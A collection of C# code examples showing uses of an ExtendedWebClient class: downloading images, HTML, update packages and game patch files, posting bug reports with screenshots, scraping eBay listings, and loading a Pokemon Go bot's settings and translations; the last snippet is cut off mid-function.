Ejemplo n.º 1
0
        /// <summary>
        /// Attempts to create an image downloading the response stream.
        /// </summary>
        public Image DownloadAsImage(Uri endpoint, bool inferContentTypeFromHttpHeaders = false)
        {
            Ensure.That(() => endpoint).IsNotNull();

            log.DebugFormat(Debug.DownloadingAsImage, endpoint);
            try
            {
                Image image = null;
                using (ExtendedWebClient client = new ExtendedWebClient())
                {
                    using (Stream stream = client.OpenRead(endpoint))
                    {
                        if (!inferContentTypeFromHttpHeaders || HasImageContentType(client.ResponseHeaders))
                        {
                            try
                            {
                                image = Image.FromStream(stream);
                            }
                            catch (ArgumentException)
                            {
                                log.DebugFormat(Debug.HttpResourceNotAnImage, endpoint);
                                return null;
                            }
                        }
                    }
                }
                return image;
            }
            catch (Exception exception)
            {
                log.Info(Debug.DownloadImageFailed.FormatWith(endpoint), exception);
                return null;
            }
        }
Ejemplo n.º 2
0
 /// <summary>
 /// Attempts to download the response string and parse it into an HTML document.
 /// </summary>
 public HtmlDocument DownloadAsHtml(Uri endpoint)
 {
     if (endpoint == null)
     {
         throw new ArgumentNullException("endpoint");
     }
     log.DebugFormat(Debug.DownloadingAsHtml, endpoint);
     try
     {
         using (ExtendedWebClient client = new ExtendedWebClient())
         {
             using (Stream stream = client.OpenRead(endpoint))
             {
                 if (stream != null)
                 {
                     Encoding encoding = GetHttpResponseEncoding(client.ResponseHeaders);
                     HtmlDocument document = new HtmlDocument();
                     document.Load(stream, encoding);
                     if (document.DocumentNode.SelectSingleNode("/html") != null) // we just parsed some mumbo-jumbo as HTML, let's discard it.
                     {
                         return document;
                     }
                 }
             }
         }
     }
     catch (Exception exception)
     {
         log.Info(Debug.DownloadHtmlFailed.FormatWith(endpoint), exception);
     }
     return null;
 }
        public async Task<IStagedPackage> GetPackageAsync(IProgressReporter progressReporter, Version version)
        {
            progressReporter.SetProgressPercent(0);
            progressReporter.SetProgressStatus("Downloading package for version " + version);

            var tempFile = stagingLocation.CreateTempFile();
            try
            {
                using (var webclient = new ExtendedWebClient((int)DefaultTimeout.TotalMilliseconds))
                {
                    var tcs = new TaskCompletionSource<bool>();
                    byte lastPercent = 0;
                    webclient.DownloadProgressChanged += (sender, args) =>
                    {
                        var percent = (byte)(((double)args.BytesReceived / (double)args.TotalBytesToReceive) * 100);
                        if (percent > lastPercent)
                        {
                            lastPercent = percent;
                            progressReporter.SetProgressPercent(percent);
                            progressReporter.SetProgressStatus(string.Format("Downloaded {0}/{1}",
                                args.BytesReceived,
                                args.TotalBytesToReceive));
                        }
                    };
                    webclient.DownloadFileCompleted += (sender, args) =>
                    {
                        if (args.Error != null)
                        {
                            progressReporter.SetProgressPercent(100);
                            progressReporter.SetProgressStatus("download error: " + args.Error.ToString());
                            tcs.SetException(new ServiceException("Download error", args.Error));
                        }
                        else
                        {
                            progressReporter.SetProgressStatus("download completed");
                            tcs.SetResult(true);
                        }
                    };
                    webclient.DownloadFileAsync(
                        new Uri(string.Format("{0}/Package/{1}", webServiceRootUrl, version.ToString().Replace(".", "-"))),
                        tempFile.FullName);

                    await tcs.Task;

                    return stagingLocation.CreatePackageFromSevenZipByteArray(File.ReadAllBytes(tempFile.FullName), version);
                }
            }
            finally
            {
                tempFile.Delete();
            }
        }
Ejemplo n.º 4
0
 /// <summary>
 /// Redownload files with given relative filenames.
 /// </summary>
 /// <param name="stepReport">This method will be invoked everytime the download proceed to tell the filename. This is thread-safe invoke.</param>
 /// <param name="downloadprogressReport">This method will be invoked everytime the download proceed. This is thread-safe invoke.</param>
 /// <param name="downloadFinished_CallBack">This method will be invoked when the download is finished. This is thread-safe invoke.</param>
 /// <returns>Bool. True if the download is succeeded, otherwise false.</returns>
 public static bool RedownloadFiles(ExtendedWebClient _webClient, Dictionary <string, string> fileList, EventHandler <StringEventArgs> stepReport, Func <int, int, bool> downloadprogressReport, RunWorkerCompletedEventHandler downloadFinished_CallBack)
 {
     throw new Infos.NotRecommendedException(LanguageManager.GetMessageText("RedownloadFiles_NotRecommended", "RedownloadFile Method is deprecated, please consider use check for old/missing files instead."));
 }
Ejemplo n.º 5
0
        protected void OnUninstalling(object sender, DoWorkEventArgs e)
        {
            WorkerInfo wi = e.Argument as WorkerInfo;

            this.OnCurrentStepChanged(new StepEventArgs(string.Format(LanguageManager.GetMessageText("Restoring0PatchFiles", "Restoring {0} files"), Infos.DefaultValues.AIDA.Strings.EnglishPatchCalled)));
            string sourceTable = string.Empty;

            using (var theTextReader = new StringReader(wi.Params as string))
                using (var jsonReader = new Newtonsoft.Json.JsonTextReader(theTextReader))
                    while (jsonReader.Read())
                    {
                        if (jsonReader.TokenType == Newtonsoft.Json.JsonToken.PropertyName)
                        {
                            if (jsonReader.Value is string && (jsonReader.Value as string).ToLower() == "enpatchlist")
                            {
                                sourceTable = jsonReader.ReadAsString();
                            }
                        }
                    }

            string[]      tbl_files           = AIDA.StringToTableString(sourceTable);
            string        pso2datafolder      = DefaultValues.Directory.PSO2Win32Data;
            string        englishBackupFolder = Path.Combine(pso2datafolder, DefaultValues.Directory.PSO2Win32DataBackup, DefaultValues.Directory.Backup.English);
            List <string> backup_files        = new List <string>();

            if (Directory.Exists(englishBackupFolder))
            {
                foreach (string derp in Directory.GetFiles(englishBackupFolder, "*", SearchOption.TopDirectoryOnly))
                {
                    backup_files.Add(Path.GetFileName(derp).ToLower());
                }
            }
            string backedup;
            string data;
            string currentStringIndex;

            this.OnProgressBarStateChanged(new ProgressBarStateChangedEventArgs(Forms.MyMainMenu.ProgressBarVisibleState.Percent));
            if (backup_files.Count > 0)
            {
                if (tbl_files.Length > backup_files.Count)
                {
                    int total = tbl_files.Length;
                    this.OnCurrentTotalProgressChanged(new ProgressEventArgs(tbl_files.Length));
                    int           count    = 0;
                    List <string> nonExist = new List <string>();
                    for (int i = 0; i < tbl_files.Length; i++)
                    {
                        currentStringIndex = tbl_files[i].ToLower();
                        data     = Path.Combine(pso2datafolder, currentStringIndex);
                        backedup = Path.Combine(englishBackupFolder, currentStringIndex);
                        if (File.Exists(backedup))
                        {
                            backup_files.Remove(currentStringIndex);
                            File.Delete(data);
                            File.Move(backedup, data);
                            count++;
                            this.OnCurrentProgressChanged(new ProgressEventArgs(count + 1));
                        }
                        else
                        {
                            nonExist.Add(currentStringIndex);
                        }
                    }
                    if (backup_files.Count > 0)
                    {
                        for (int i = 0; i < backup_files.Count; i++)
                        {
                            currentStringIndex = backup_files[i];
                            data     = Path.Combine(pso2datafolder, currentStringIndex);
                            backedup = Path.Combine(englishBackupFolder, currentStringIndex);
                            if (File.Exists(backedup))
                            {
                                File.Delete(data);
                                File.Move(backedup, data);
                                count++;
                                this.OnCurrentProgressChanged(new ProgressEventArgs(count + 1));
                            }
                        }
                    }
                    Directory.Delete(englishBackupFolder, true);
                    if (nonExist.Count > 0)
                    {
                        this.OnCurrentTotalProgressChanged(new ProgressEventArgs(nonExist.Count));
                        this.OnCurrentStepChanged(new StepEventArgs(LanguageManager.GetMessageText("RedownloadingMissingOriginalFiles", "Redownloading missing original files")));
                        using (ExtendedWebClient downloader = new ExtendedWebClient())
                        {
                            downloader.UserAgent = PSO2.DefaultValues.Web.UserAgent;
                            Dictionary <string, string> downloadlist = new Dictionary <string, string>();
                            for (int i = 0; i < nonExist.Count; i++)
                            {
                                currentStringIndex = nonExist[i];
                                downloadlist.Add("data/win32/" + currentStringIndex + DefaultValues.Web.FakeFileExtension, Path.Combine(pso2datafolder, currentStringIndex));
                            }
                            // PSO2UpdateManager.RedownloadFiles(downloader, downloadlist, Downloader_StepProgressChanged, Downloader_DownloadFileProgressChanged, this.Uninstall_RedownloadCallback);
                            e.Result = false;
                        }
                    }
                    else
                    {
                        e.Result = true;
                    }
                }
                else
                {
                    int total = backup_files.Count;
                    this.OnCurrentTotalProgressChanged(new ProgressEventArgs(total));
                    for (int i = 0; i < backup_files.Count; i++)
                    {
                        currentStringIndex = backup_files[i];
                        data     = Path.Combine(pso2datafolder, currentStringIndex);
                        backedup = Path.Combine(englishBackupFolder, currentStringIndex);
                        if (File.Exists(backedup))
                        {
                            File.Delete(data);
                            File.Move(backedup, data);
                            this.OnCurrentProgressChanged(new ProgressEventArgs(i + 1));
                        }
                    }
                    Directory.Delete(englishBackupFolder, true);
                    e.Result = true;
                }
            }
            else if (tbl_files.Length > 0)
            {
                this.OnCurrentTotalProgressChanged(new ProgressEventArgs(tbl_files.Length));
                this.OnCurrentStepChanged(new StepEventArgs(LanguageManager.GetMessageText("RedownloadingMissingOriginalFiles", "Redownloading missing original files")));
                using (ExtendedWebClient downloader = new ExtendedWebClient())
                {
                    downloader.UserAgent = PSO2.DefaultValues.Web.UserAgent;
                    Dictionary <string, string> downloadlist = new Dictionary <string, string>();
                    for (int i = 0; i < tbl_files.Length; i++)
                    {
                        currentStringIndex = tbl_files[i];
                        downloadlist.Add("data/win32/" + currentStringIndex + DefaultValues.Web.FakeFileExtension, Path.Combine(pso2datafolder, currentStringIndex));
                    }
                    PSO2UpdateManager.RedownloadFiles(downloader, downloadlist, Downloader_StepProgressChanged, Downloader_DownloadFileProgressChanged, this.Uninstall_RedownloadCallback);
                    e.Result = false;
                }
            }
            else
            {
                throw new Exception("Unknown Error");
                //Failed
            }
        }
Ejemplo n.º 6
0
 public void Logout()
 {
     ExtendedWebClient.ClearCookie();
     IsLoggedIn = false;
 }
Ejemplo n.º 7
0
 /// <summary>
 /// Redownload files with given relative filenames.
 /// </summary>
 /// <returns>RunWorkerCompletedEventArgs. True if the download is succeeded, otherwise false.</returns>
 public static RunWorkerCompletedEventArgs RedownloadFile(ExtendedWebClient _webClient, string relativeFilename, string destinationFullfilename, Func <int, bool> progress_callback)
 {
     throw new Infos.NotRecommendedException(LanguageManager.GetMessageText("RedownloadFiles_NotRecommended", "RedownloadFile Method is deprecated, please consider use check for old/missing files instead."));
 }
		/// <summary>
		/// Gets the newest available programme version.
		/// </summary>
		/// <returns>The newest available programme version,
		/// or 69.69.69.69 if now information could be retrieved.</returns>
		private Version GetNewProgrammeVersion(out string p_strDownloadUri)
		{
			ExtendedWebClient wclNewVersion = new ExtendedWebClient(15000);
			Version verNew = new Version("69.69.69.69");
			p_strDownloadUri = String.Empty;

			try
			{
				string strNewVersion = wclNewVersion.DownloadString("http://nmm.nexusmods.com/NMM?GetLatestVersion");
				if (!String.IsNullOrEmpty(strNewVersion))
				{
					verNew = new Version(strNewVersion.Split('|')[0]);
					p_strDownloadUri = strNewVersion.Split('|')[1];
				}
			}
			catch (WebException)
			{
				try
				{
					string strNewVersion = wclNewVersion.DownloadString("http://dev.nexusmods.com/client/4.5/latestversion.php");
					if (!String.IsNullOrEmpty(strNewVersion))
					{
						verNew = new Version(strNewVersion.Split('|')[0]);
						p_strDownloadUri = strNewVersion.Split('|')[1];
					}
				}
				catch (WebException e)
				{
					Trace.TraceError(String.Format("Could not connect to update server: {0}", e.Message));
				}
				catch (ArgumentException e)
				{
					Trace.TraceError(String.Format("Unexpected response from the server: {0}", e.Message));
				}
			}
			catch (ArgumentException e)
			{
				Trace.TraceError(String.Format("Unexpected response from the server: {0}", e.Message));
			}

			return verNew;
		}
Ejemplo n.º 9
0
 /// <summary>
 /// Returns the header response for an HTTP request.
 /// </summary>
 public WebHeaderCollection DownloadHttpHeader(Uri endpoint, bool retryWithGet = false)
 {
     if (endpoint == null)
     {
         throw new ArgumentNullException("endpoint");
     }
     try
     {
         using (ExtendedWebClient client = new ExtendedWebClient {Method = Constants.HttpHeadRequest})
         {
             client.DownloadData(endpoint);
             return client.ResponseHeaders;
         }
     }
     catch (Exception exception)
     {
         if (retryWithGet)
         {
             try
             {
                 using (ExtendedWebClient client = new ExtendedWebClient())
                 {
                     client.DownloadData(endpoint);
                     return client.ResponseHeaders;
                 }
             }
             catch (Exception retryException)
             {
                 log.Info(Debug.DownloadHttpGetFailed.FormatWith(endpoint), retryException);
                 return null;
             }
         }
         log.Info(Debug.DownloadHttpHeadFailed.FormatWith(endpoint), exception);
         return null;
     }
 }
Ejemplo n.º 10
0
        static void send(MainForm frm)
        {
            Uri URL = new Uri(Program.url + "/insert_bug.aspx");

            ExtendedWebClient extendedWebClient = new ExtendedWebClient();
            CredentialCache myCredCache = new CredentialCache();
            myCredCache.Add(URL, "Basic", new NetworkCredential(Program.username, Program.password));
            myCredCache.Add(URL, "NTLM", new NetworkCredential(Program.username, Program.password, Program.domain));
            extendedWebClient.Credentials = myCredCache;
            System.IO.MemoryStream ms = new System.IO.MemoryStream();
            frm.getBitmap().Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg);
            string base64 = System.Convert.ToBase64String(ms.ToArray());
            ms.Close();
            ms.Dispose();

            try
            {
                // Anmelden per POST; anonymer Typ als Parameterobjekt
                WebRequest req = extendedWebClient.Post(URL, new
                {
                    username = Program.username,
                    password = Program.password,
                    bugid = frm.textBoxBugId.Text,
                    short_desc = frm.textBoxShortDescription.Text,
                    projectid = Convert.ToString(Program.project_id),
                    attachment_content_type = "image/jpg",
                    attachment_filename = String.Format("screenshot_{0}.jpg", DateTime.Now.ToString("yyyyMMdd'_'HHmmss")),
                    attachment = base64
                });

                WebResponse res = (WebResponse)req.GetResponse();
                frm.BeginInvoke(new MainForm.ResponseDelegate(frm.handleResponse), res);
            }
            catch (Exception e2)
            {
                frm.BeginInvoke(new MainForm.ResponseDelegate(frm.handleResponse), e2);
            }
        }
Ejemplo n.º 11
0
        internal void Search(ref HtmlDocument parser, SearchFilter filter, int parallelQueries, bool scrapBooksInParallel)
        {
            var client = new ExtendedWebClient(parallelQueries);

            var queryStringBuilder = new StringBuilder();

            queryStringBuilder.AppendFormat("_nkw={0}&", Keywoard);
            queryStringBuilder.AppendFormat("_sacat={0}&", (int)Category);
            queryStringBuilder.AppendFormat("_ipg={0}", ResultsPerPage);
            var location = filter.GetLocation();

            if (location > 0)
            {
                queryStringBuilder.AppendFormat("LH_LocatedIn=1&_salic={0}&LH_SubLocation=1", location);
            }
            if (filter.IsPriceFiltered)
            {
                queryStringBuilder.Append("&_mPrRngCbx=1");
                if (filter.MinimumPrice > 0)
                {
                    queryStringBuilder.AppendFormat("&_udlo={0}", filter.MinimumPrice);
                }
                if (filter.MaximumPrice > 0)
                {
                    queryStringBuilder.AppendFormat("&_udhi={0}", filter.MaximumPrice);
                }
            }

            if (filter.IsAuction)
            {
                queryStringBuilder.Append("&LH_Auction=1");
            }
            if (filter.IsBuyItNow)
            {
                queryStringBuilder.Append("&LH_BIN=1");
            }
            if (filter.IsClassifiedAds)
            {
                queryStringBuilder.Append("&LH_CAds=1");
            }

            var url = new UriBuilder();

            url.Scheme = "https";
            url.Host   = "www.ebay.com";
            url.Path   = "sch/i.html";
            url.Query  = queryStringBuilder.ToString();

            Status = SearchStatus.Working;
            _books.Clear();

            var rootNode = Load(ref client, ref parser, url.Uri);

            if (rootNode == null)
            {
                Status = SearchStatus.Failed;
                return;
            }

            // change to inner node to decrease DOM traversal
            rootNode = rootNode.SelectSingleNode(".//ul[@id='ListViewInner']");
            if (rootNode == null)
            {
                // no listing found
                Status = SearchStatus.Complete;
                return;
            }

            var nodes = rootNode.SelectNodes(".//li[starts-with(@id,'item')]");

            if (nodes == null || nodes.Count == 0)
            {
                // no listing found
                Status = SearchStatus.Complete;
                return;
            }

            HtmlNode innerNode;

            foreach (HtmlNode node in nodes)
            {
                innerNode = node.SelectSingleNode(".//a[@class='vip']");
                if (innerNode == null)
                {
                    continue;
                }

                var book = new BookModel();
                book.Title = innerNode.InnerText;
                book.Url   = new Uri(innerNode.Attributes["href"].Value);

                // last part of URL stores eBay item code
                var urlParts = book.Url.AbsolutePath.Split(new char[] { '/' }, StringSplitOptions.RemoveEmptyEntries);
                if (urlParts.Length > 0)
                {
                    book.Code = urlParts[urlParts.Length - 1];
                }

                // extract location
                innerNode = node.SelectSingleNode(".//ul[starts-with(@class,'lvdetails')]/li");
                if (innerNode != null)
                {
                    var bookLocation = innerNode.InnerText;
                    if (string.IsNullOrEmpty(bookLocation))
                    {
                        continue;
                    }
                    else
                    {
                        bookLocation = bookLocation.Trim().Remove(0, "From ".Length);
                    }

                    // ignore books which don't match location filter
                    if (!string.IsNullOrEmpty(filter.Location) && !bookLocation.Equals(filter.Location))
                    {
                        continue;
                    }

                    book.Location = bookLocation.Trim().Replace("From ", string.Empty);
                }

                // eBay shows advertisements, ignore them
                if (book.Url.Host.Equals(url.Host, StringComparison.InvariantCultureIgnoreCase))
                {
                    _books.Add(book);
                }
            }

            // process each book in parallel
            if (scrapBooksInParallel)
            {
                var parallelOptions = new ParallelOptions();
                parallelOptions.MaxDegreeOfParallelism = parallelQueries;

                Parallel.ForEach(_books.Items, parallelOptions, (currentBook) => ProcessBook(currentBook, filter, parallelQueries));
            }
            else
            {
                for (var index = _books.Count - 1; index >= 0; index--)
                {
                    var book = _books[index];
                    ProcessBook(book, filter);
                }
            }

            // apply filter
            for (var index = _books.Count - 1; index >= 0; index--)
            {
                var book = _books[index];
                if (book.Status == SearchStatus.Complete && IncludeBook(book, filter) == false)
                {
                    _books.Remove(book);
                }
            }

            // mark query complete only when data for all books is scraped
            if (Status != SearchStatus.Failed)
            {
                Status = SearchStatus.Complete;
            }
        }
Ejemplo n.º 12
0
        /// <summary>
        /// Redownload files with given relative filenames.
        /// </summary>
        /// <returns>RunWorkerCompletedEventArgs. True if the download is succeeded, otherwise false.</returns>
        public static RunWorkerCompletedEventArgs RedownloadFile(ExtendedWebClient _webClient, string relativeFilename, string destinationFullfilename, Func <int, bool> progress_callback)
        {
            bool      continueDownload = true;
            Exception Myex             = null;
            Uri       currenturl       = null;
            DownloadProgressChangedEventHandler ooooo = null;

            if (progress_callback != null)
            {
                ooooo = new DownloadProgressChangedEventHandler(delegate(object sender, DownloadProgressChangedEventArgs e)
                {
                    if (progress_callback.Invoke(e.ProgressPercentage))
                    {
                        continueDownload = false;
                        _webClient.CancelAsync();
                    }
                });
            }
            if (ooooo != null)
            {
                _webClient.DownloadProgressChanged += ooooo;
            }
            try
            {
                HttpStatusCode lastCode;
                var            _pso22fileurl = new PSO2FileUrl(Leayal.UriHelper.URLConcat(DefaultValues.Web.MainDownloadLink, relativeFilename), Leayal.UriHelper.URLConcat(DefaultValues.Web.OldDownloadLink, relativeFilename));
                currenturl = _pso22fileurl.MainUrl;
                lastCode   = HttpStatusCode.ServiceUnavailable;
                try
                {
                    _webClient.AutoUserAgent = true;
                    _webClient.DownloadFile(currenturl, destinationFullfilename);
                    _webClient.AutoUserAgent = false;
                }
                catch (WebException webEx)
                {
                    if (webEx.Response != null)
                    {
                        HttpWebResponse rep = webEx.Response as HttpWebResponse;
                        lastCode = rep.StatusCode;
                    }
                    else
                    {
                        throw webEx;
                    }
                }
                if (lastCode == HttpStatusCode.NotFound)
                {
                    currenturl = _pso22fileurl.GetTheOtherOne(currenturl.OriginalString);
                    try
                    {
                        _webClient.AutoUserAgent = true;
                        _webClient.DownloadFile(currenturl, destinationFullfilename);
                        _webClient.AutoUserAgent = false;
                    }
                    catch (WebException webEx)
                    {
                        if (webEx.Response != null)
                        {
                            HttpWebResponse rep = webEx.Response as HttpWebResponse;
                            if (rep.StatusCode != HttpStatusCode.NotFound)
                            {
                                throw webEx;
                            }
                        }
                        else
                        {
                            throw webEx;
                        }
                    }
                }
            }
            catch (Exception ex) { Myex = ex; }
            if (ooooo != null)
            {
                _webClient.DownloadProgressChanged -= ooooo;
            }
            return(new RunWorkerCompletedEventArgs(null, Myex, !continueDownload));
        }
Ejemplo n.º 13
0
        private void GUI_Load(object sender, EventArgs e)
        {
            // Create missing Files
            Directory.CreateDirectory(Program.path);
            Directory.CreateDirectory(Program.path_translation);

            try
            {
                Extract("PokemonGo.RocketAPI.Console", AppDomain.CurrentDomain.BaseDirectory, "Resources", "encrypt.dll"); // unpack our encrypt dll
            } catch (Exception)
            {

            }

            // Load Languages Files always UP2Date
            try
            {
                ExtendedWebClient client = new ExtendedWebClient();
                string translations = client.DownloadString("http://pokemon-go.ar1i.xyz/lang/get.php");
                string[] transArray = translations.Replace("\r", string.Empty).Split('\n');
                for (int ijik = 0; ijik < transArray.Count(); ijik++)
                {
                    client.DownloadFile("http://pokemon-go.ar1i.xyz/lang/" + transArray[ijik], Program.path_translation + "\\" + transArray[ijik]);
                }
            }
            catch (Exception)
            {
                List<string> b = new List<string>();
                b.Add("de.json");
                b.Add("france.json");
                b.Add("italian.json");
                b.Add("ptBR.json");
                b.Add("ru.json");
                b.Add("spain.json");
                b.Add("tr.json");

                foreach (var l in b)
                {
                    Extract("PokemonGo.RocketAPI.Console", Program.path_translation, "Lang", l);
                }
            }

            TranslationHandler.Init();

            // Version Infoooo
            groupBox9.Text = "Your Version: " + Assembly.GetExecutingAssembly().GetName().Version + " | Newest: " + Program.getNewestVersion();
            if (Program.getNewestVersion() > Assembly.GetExecutingAssembly().GetName().Version)
            {
                DialogResult dialogResult = MessageBox.Show("There is an Update on Github. do you want to open it ?", "Newest Version: " + Program.getNewestVersion(), MessageBoxButtons.YesNo);
                if (dialogResult == DialogResult.Yes)
                {
                    Process.Start("https://github.com/Ar1i/PokemonGo-Bot");
                }
                else if (dialogResult == DialogResult.No)
                {
                    //nothing
                }
            }

            comboBox1.DisplayMember = "Text";
            var types = new[] {
                new { Text = "Google"},
                new { Text = "Pokemon Trainer Club"},
            };
            comboBox1.DataSource = types;

            //textBox1.Hide();
            //label2.Hide();
            //textBox2.Hide();
            //label3.Hide();

            var pokeIDS = new Dictionary<string, int>();
            var evolveIDS = new Dictionary<string, int>();
            int i = 1;
            int ev = 1;
            foreach (PokemonId pokemon in Enum.GetValues(typeof(PokemonId)))
            {
                if (pokemon.ToString() != "Missingno")
                {
                    pokeIDS[pokemon.ToString()] = i;
                    gerEng[StringUtils.getPokemonNameGer(pokemon)] = pokemon.ToString();
                    if (checkBox8.Checked)
                    {
                        checkedListBox1.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                        checkedListBox2.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                        if (!(evolveBlacklist.Contains(i)))
                        {
                            checkedListBox3.Items.Add(StringUtils.getPokemonNameGer(pokemon));
                            evolveIDS[pokemon.ToString()] = ev;
                            ev++;
                        }
                    }
                    else
                    {
                        checkedListBox1.Items.Add(pokemon.ToString());
                        checkedListBox2.Items.Add(pokemon.ToString());
                        if (!(evolveBlacklist.Contains(i)))
                        {
                            checkedListBox3.Items.Add(pokemon.ToString());
                            evolveIDS[pokemon.ToString()] = ev;
                            ev++;
                        }
                    }
                    i++;
                }
            }

            if (File.Exists(Program.account))
            {
                string[] lines = File.ReadAllLines(@Program.account);
                i = 1;
                int tb = 1;
                foreach (string line in lines)
                {
                    switch (i)
                    {
                        case 1:
                            if (line == "Google")
                                comboBox1.SelectedIndex = 0;
                            else
                                comboBox1.SelectedIndex = 1;
                            break;
                        case 9:
                            checkBox1.Checked = bool.Parse(line);
                            break;
                        case 10:
                            checkBox2.Checked = bool.Parse(line);
                            break;
                        case 12:
                            checkBox3.Checked = bool.Parse(line);
                            break;
                        case 14:
                            textBox18.Text = line;
                            break;
                        case 15:
                            textBox19.Text = line;
                            break;
                        case 16:
                            textBox20.Text = line;
                            break;
                        case 17:
                            //if (line == "1")
                            //{
                            //    Globals.navigation_option = 1;
                            //    checkBox8.Checked = true;
                            //    checkBox7.Checked = false;
                            //} else
                            //{
                            //    Globals.navigation_option = 2;
                            //    checkBox7.Checked = true;
                            //    checkBox8.Checked = false;
                            //}
                            break;
                        case 18:
                            checkBox7.Checked = bool.Parse(line);
                            break;
                        case 19:
                            checkBox8.Checked = bool.Parse(line);
                            break;
                        case 20:
                            checkBox9.Checked = bool.Parse(line);
                            break;
                        case 21:
                            textBox24.Text = line;
                            break;
                        case 22:
                            checkBox10.Checked = bool.Parse(line);
                            break;
                        case 23:
                            checkBox11.Checked = bool.Parse(line);
                            break;
                        case 24:
                            checkBox12.Checked = bool.Parse(line);
                            break;
                        case 25:
                            chkAutoIncubate.Checked = bool.Parse(line);
                            chkAutoIncubate_CheckedChanged(null, EventArgs.Empty);
                            break;
                        case 26:
                            chkUseBasicIncubators.Checked = bool.Parse(line);
                            break;
                        default:
                            TextBox temp = (TextBox)Controls.Find("textBox" + tb, true).FirstOrDefault();
                            temp.Text = line;
                            tb++;
                            break;
                    }
                    i++;
                }
            }
            else
            {
                textBox3.Text = "40,764883";
                textBox4.Text = "-73,972967";
                textBox5.Text = "10";
                textBox6.Text = "50";
                textBox7.Text = "5000";
                textBox8.Text = "3";
                textBox9.Text = "999";
                textBox20.Text = "5000";
            }

            if (File.Exists(Program.items))
            {
                string[] lines = File.ReadAllLines(@Program.items);
                i = 10;
                foreach (string line in lines)
                {
                    if (i == 18)
                    {
                        i = 22;
                    }
                    else if (i == 23)
                    {
                        i = 21;
                    }
                    else if (i == 22)
                    {
                        i = 23;
                    }
                    TextBox temp = (TextBox)Controls.Find("textBox" + i, true).FirstOrDefault();
                    temp.Text = line;
                    i++;
                }
            }
            else
            {
                textBox10.Text = "20";
                textBox11.Text = "50";
                textBox12.Text = "100";
                textBox13.Text = "20";
                textBox14.Text = "0";
                textBox15.Text = "0";
                textBox16.Text = "50";
                textBox17.Text = "75";
                textBox22.Text = "200";
                textBox21.Text = "100";
                textBox23.Text = "20";
                textBox24.Text = "90";
            }

            if (File.Exists(Program.keep))
            {
                string[] lines = File.ReadAllLines(@Program.keep);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                        if (checkBox8.Checked)
                            checkedListBox1.SetItemChecked(pokeIDS[gerEng[line]] - 1, true);
                        else
                            checkedListBox1.SetItemChecked(pokeIDS[line] - 1, true);
                }
            }

            if (File.Exists(Program.ignore))
            {
                string[] lines = File.ReadAllLines(@Program.ignore);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                        if (checkBox8.Checked)
                            checkedListBox2.SetItemChecked(pokeIDS[gerEng[line]] - 1, true);
                        else
                            checkedListBox2.SetItemChecked(pokeIDS[line] - 1, true);
                }
            }

            if (File.Exists(Program.lastcords))
            {
                try
                {
                    var latlngFromFile = File.ReadAllText(Program.lastcords);
                    var latlng = latlngFromFile.Split(':');
                    double latitude, longitude;
                    double.TryParse(latlng[0], out latitude);
                    double.TryParse(latlng[1], out longitude);
                    Globals.latitute = latitude;
                    Globals.longitude = longitude;
                }
                catch
                {

                }
            }

            if (File.Exists(Program.evolve))
            {
                string[] lines = File.ReadAllLines(@Program.evolve);
                foreach (string line in lines)
                {
                    if (line != string.Empty)
                        if (checkBox8.Checked)
                            checkedListBox3.SetItemChecked(evolveIDS[gerEng[line]] - 1, true);
                        else
                            checkedListBox3.SetItemChecked(evolveIDS[line] - 1, true);
                }
            }
        }
Ejemplo n.º 14
0
        /// <summary>
        /// Redownload files with given relative filenames.
        /// </summary>
        /// <param name="stepReport">This method will be invoked everytime the download proceed to tell the filename. This is thread-safe invoke.</param>
        /// <param name="downloadprogressReport">This method will be invoked everytime the download proceed. This is thread-safe invoke.</param>
        /// <param name="downloadFinished_CallBack">This method will be invoked when the download is finished. This is thread-safe invoke.</param>
        /// <returns>Bool. True if the download is succeeded, otherwise false.</returns>
        public static bool RedownloadFiles(ExtendedWebClient _webClient, Dictionary <string, string> fileList, EventHandler <StringEventArgs> stepReport, Func <int, int, bool> downloadprogressReport, RunWorkerCompletedEventHandler downloadFinished_CallBack)
        {
            bool      continueDownload = true;
            Exception Myex             = null;
            int       filecount        = 0;
            Uri       currenturl       = null;
            var       asdasdads        = _webClient.CacheStorage;

            _webClient.CacheStorage = null;
            List <string> failedfiles = new List <string>();

            try
            {
                HttpStatusCode lastCode;
                byte[]         buffer = new byte[1024];
                //long byteprocessed, filelength;
                foreach (var _keypair in fileList)
                {
                    if (stepReport != null)
                    {
                        WebClientPool.SynchronizationContext.Send(new System.Threading.SendOrPostCallback(delegate { stepReport.Invoke(_webClient, new StringEventArgs(_keypair.Key)); }), null);
                    }
                    using (FileStream local = File.Create(_keypair.Value, 1024))
                    {
                        var _pso22fileurl = new PSO2FileUrl(Leayal.UriHelper.URLConcat(DefaultValues.Web.MainDownloadLink, _keypair.Key), Leayal.UriHelper.URLConcat(DefaultValues.Web.OldDownloadLink, _keypair.Key));
                        currenturl = _pso22fileurl.MainUrl;
                        lastCode   = HttpStatusCode.ServiceUnavailable;
                        //byteprocessed = 0;
                        //filelength = 0;
                        try
                        {
                            using (HttpWebResponse theRep = _webClient.Open(currenturl) as HttpWebResponse)
                            {
                                if (theRep.StatusCode == HttpStatusCode.NotFound)
                                {
                                    throw new WebException("File not found", null, WebExceptionStatus.ReceiveFailure, theRep);
                                }
                                else if (theRep.StatusCode == HttpStatusCode.Forbidden)
                                {
                                    throw new WebException("Access denied", null, WebExceptionStatus.ReceiveFailure, theRep);
                                }

                                /*if (theRep.ContentLength > 0)
                                 *  filelength = theRep.ContentLength;
                                 * else
                                 * {
                                 *  HttpWebRequest headReq = _webClient.CreateRequest(currenturl, "HEAD") as HttpWebRequest;
                                 *  headReq.AutomaticDecompression = DecompressionMethods.None;
                                 *  HttpWebResponse headRep = headReq.GetResponse() as HttpWebResponse;
                                 *  if (headRep != null)
                                 *  {
                                 *      if (headRep.ContentLength > 0)
                                 *          filelength = headRep.ContentLength;
                                 *      headRep.Close();
                                 *  }
                                 * }*/
                                using (var theRepStream = theRep.GetResponseStream())
                                {
                                    int count = theRepStream.Read(buffer, 0, buffer.Length);
                                    while (count > 0)
                                    {
                                        local.Write(buffer, 0, count);
                                        //byteprocessed += count;
                                        count = theRepStream.Read(buffer, 0, buffer.Length);
                                    }
                                }
                            }
                        }
                        catch (WebException webEx)
                        {
                            if (webEx.Response != null)
                            {
                                HttpWebResponse rep = webEx.Response as HttpWebResponse;
                                lastCode = rep.StatusCode;
                            }
                        }
